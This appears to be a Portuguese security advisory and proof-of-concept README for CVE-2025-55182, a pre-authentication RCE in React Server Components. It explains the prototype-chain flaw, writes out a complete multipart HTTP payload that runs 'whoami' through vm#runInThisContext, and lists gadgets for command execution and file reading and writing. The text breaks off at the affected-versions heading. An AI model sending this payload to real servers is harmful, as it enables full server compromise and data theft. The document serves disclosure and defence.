CVE-2025-55182: RCE Crítica de Pré-Autenticação em Componentes de Servidor React

Pesquisa de Segurança por schema.cx
"Controle é uma ilusão. São os sistemas que construímos que nos controlam—a menos que primeiro os entendamos."

---

📋 Índice

• Aviso Legal & Isenção de Responsabilidade
• Resumo Executivo
• Descrição Técnica
• Sistemas Afetados
• Prova de Conceito
• Avaliação de Impacto
• Mitigação & Remediação
• Cronograma de Divulgação Responsável
• Referências
• Atribuição

---

⚠️ Aviso Legal & Isenção de Responsabilidade

ESTA FERRAMENTA É APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS

PARE. LEIA ISTO ANTES DE PROSSEGUIR.

Este repositório contém código de prova de conceito para uma vulnerabilidade de segurança crítica. Ao acessar, baixar ou usar qualquer material neste repositório, você reconhece e concorda com o seguinte:

Requisitos Legais

1. Autorização Escrita Necessária: Você DEVE ter permissão explícita e por escrito do proprietário do sistema antes de realizar qualquer teste de segurança. Acordos verbais são insuficientes.

2. Limitações de Escopo: Os testes devem ser confinados a sistemas explicitamente listados em sua autorização. "Aumento de escopo" não é permitido.

3. Leis Aplicáveis: O acesso não autorizado a sistemas de computador viola:

   • Estados Unidos: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
   • União Europeia: Diretiva 2013/40/UE sobre ataques contra sistemas de informação
   • Reino Unido: Computer Misuse Act 1990
   • Austrália: Criminal Code Act 1995, Divisão 477-478
   • Outras jurisdições: Leis similares de crimes de informática se aplicam globalmente

Isenção de Responsabilidade

OS AUTORES E COLABORADORES DESTE REPOSITÓRIO:

• NÃO aceitam NENHUMA responsabilidade pelo uso indevido desta ferramenta
• NÃO fornecem NENHUMA garantia, expressa ou implícita
• NÃO são responsáveis por quaisquer danos decorrentes do uso ou da incapacidade de usar este software
• NÃO endossam atividades ilegais de qualquer tipo

Diretrizes Éticas

• Nunca teste sem permissão — mesmo que você "só queira verificar"
• Documente tudo — mantenha registros detalhados de todas as atividades de teste
• Minimize o impacto — use os métodos menos invasivos possíveis
• Relate com responsabilidade — siga práticas de divulgação coordenada
• Respeite a privacidade — não exfiltre nem retenha dados sensíveis

"A questão não é se podemos explorar a vulnerabilidade. É se devemos, e com que propósito."

---

📊 Resumo Executivo

CVE-2025-55182 é uma vulnerabilidade crítica de execução remota de código (RCE) de pré-autenticação que afeta Componentes de Servidor React em aplicações React 19.x e Next.js 15.x-16.x.

Impacto nos Negócios

Esta vulnerabilidade permite que qualquer atacante não autenticado com acesso de rede a uma aplicação vulnerável execute comandos arbitrários no servidor. O ataque não requer credenciais, nenhuma interação do usuário e pode ser totalmente automatizado. A exploração bem-sucedida leva a:

• Comprometimento completo do servidor — atacantes obtêm controle total do sistema subjacente
• Potencial de violação de dados — acesso a bancos de dados, variáveis de ambiente, segredos e dados do usuário
• Movimentação lateral — servidores comprometidos podem ser usados para atacar redes internas
• Risco na cadeia de suprimentos — sistemas de produção atendendo milhões de usuários podem ser afetados

Classificação de Gravidade

Métrica	Classificação
Pontuação Base CVSS v3.1	10.0 CRÍTICO
Vetor de Ataque	Rede
Complexidade do Ataque	Baixa
Privilégios Necessários	Nenhum
Interação do Usuário	Nenhuma
Impacto (C/I/D)	Alto / Alto / Alto

"As pessoas confiam em sistemas porque não os entendem. Essa confiança é uma vulnerabilidade."

---

🔬 Descrição Técnica

Análise da Causa Raiz

A vulnerabilidade existe na implementação do protocolo Flight do React dentro da função requireModule. Esta função usa notação de colchetes para acessar exportações de módulo com base em entrada controlada pelo usuário, sem validar se a propriedade solicitada é uma propriedade própria do módulo.

Localização do Código Vulnerável:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Função: requireModule (aproximadamente linhas 2546-2558 na v19.0.0)

Padrão Vulnerável:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... tratamento assíncrono ...
  return moduleExports[metadata[2]];  // ← VULNERÁVEL: Sem verificação hasOwnProperty
}

Mecanismo de Exploração

O ataque explora a travessia da cadeia de protótipos do JavaScript:

1. Ponto de Entrada: Atacante envia uma requisição maliciosa de formulário multipart para um endpoint de Server Action
2. Injeção de Payload: O campo $ACTION_0:0 contém JSON com as propriedades id (formato módulo#exportação) e bound (argumentos) controladas pelo atacante
3. Acesso ao Protótipo: Ao especificar exportações como constructor ou acessar propriedades do protótipo, atacantes podem referenciar módulos Node.js embutidos
4. Gadgets RCE: Funções como vm.runInThisContext, child_process.execSync ou fs.readFileSync executam com argumentos fornecidos pelo atacante

Vetor de Ataque

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Analisa o formato "module#export"
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Acesso à cadeia de protótipos → RCE

Estrutura do Payload

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Gadgets RCE Disponíveis

Gadget	Módulo	Descrição	Impacto
vm#runInThisContext	vm	Executar JS no contexto atual	RCE Direto
vm#runInNewContext	vm	Executar JS em sandbox (escapável)	RCE Direto
child_process#execSync	child_process	Executar comandos shell	RCE Direto
child_process#spawnSync	child_process	Iniciar processos	RCE Direto
fs#readFileSync	fs	Ler arquivos arbitrários	Exfiltração de Dados
fs#writeFileSync	fs	Escrever arquivos arbitrários	Persistência/Backdoor
module#_load	module	Carregar módulos JS (RCE em 2 etapas)	RCE Indireto

"Todo sistema tem uma porta. A questão é se você construiu a fechadura—ou a herdou de alguém que nunca esperava visitantes."

---

🎯 Sistemas Afetados

Versões Vulneráveis